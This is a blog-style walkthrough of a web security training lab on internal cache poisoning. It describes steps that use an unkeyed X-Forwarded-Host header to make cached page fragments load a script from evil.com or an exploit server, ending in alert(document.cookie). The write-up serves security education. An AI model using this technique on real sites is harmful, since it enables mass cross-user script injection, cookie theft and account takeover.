🔓 Free Link

Disclaimer: The techniques described in this document are intended solely for ethical use and educational purposes. Unauthorized use of these methods outside approved environments is strictly prohibited, as it is illegal, unethical, and may lead to severe consequences.

It is crucial to act responsibly, comply with all applicable laws, and adhere to established ethical guidelines. Any activity that exploits security vulnerabilities or compromises the safety, privacy, or integrity of others is strictly forbidden.

Table of Contents

  1. Summary of the Vulnerability
  2. Steps to Reproduce & Proof of Concept (PoC)
  3. Impact

Summary of the Vulnerability

This lab demonstrates a web cache poisoning flaw where multiple caching layers (an external cache and an internal fragment cache) treat different parts of an HTTP request inconsistently when building their cache keys.

Because one internal cache does not include certain inputs (an attacker-controlled header) in its key, an attacker can force the internal cache to store a malicious fragment (a JavaScript file) that will later be stitched into the site's home page and executed in victims' browsers.

Attacker's goal in the lab: Poison the internally cached fragment so that when the victim visits the home page, the page imports an attacker-hosted script which runs alert(document.cookie),demonstrating a cached, cross-user XSS delivered via internal cache poisoning

Steps to Reproduce & Proof of Concept (PoC)

① Open the cache-poisoning lab. Observe the HTTP history for the GET / request and send it to Repeater.

Image 1 — Internal Cache Poisoning

② Add the /?cachebuster=123 parameter to the request and observe how the application behaves

Image 2 — Internal Cache Poisoning

③ We see that cachebuster is reflected in the response, which indicates this parameter is part of the external cache key.

④ Remove the /?cachebuster=123 parameter before launching Param Miner.

⑤ In Repeater: Right-clickExtensionsParam MinerGuess headers.

⑥ I set the attack configuration as follows: (attack config used here).

Image 3 — Internal Cache Poisoning

⑦ After waiting a couple of minutes, identify a X-Forwarded-Host header that can be used for the next stage of exploitation.

Image 4 — Internal Cache Poisoning

⑧ Test using evil.com and confirm that our malicious domain is reflected in the response.

⑨ Note there are only two HTML components that are initially overridden by the malicious domain:

<link rel="canonical" href='//evil.com...'>
<script type="text/javascript" src="//evil.com/resources/js/analytics.js"></script>

⑩ The remaining component to override is geolocate.js.

Image 5 — Internal Cache Poisoning

⑪ Continue sending the crafted requests until all three components are overridden by the malicious domain.

Image 6 — Internal Cache Poisoning

⑫ Open the exploit server and prepare the attack payload.

Image 7 — Internal Cache Poisoning

⑬ Change the X-Forwarded-Host: evil.com header to your exploit server, and keep sending requests until the components are overridden.

Image 8 — Internal Cache Poisoning

⑭ Refresh the lab; the main page should display an XSS popup. The lab is solved.

Image 9 — Internal Cache Poisoning
Image 10 — Internal Cache Poisoning

Impact

When an attacker successfully poisons an internal or shared cache with attacker-controlled JavaScript or HTML, the malicious content can be served to many users automatically.

This converts a single exploitation primitive into a mass-impact vulnerability (persistent, widely distributed XSS) that can enable cookie theft, account takeover, credential harvesting, and persistent drive-by malware delivery via script.

The severity is typically high because the cached payload is served without further attacker interaction.

📢 Enjoyed this post? Stay connected! If you found this article helpful or insightful, consider following me for more:

🙏Your support is appreciated.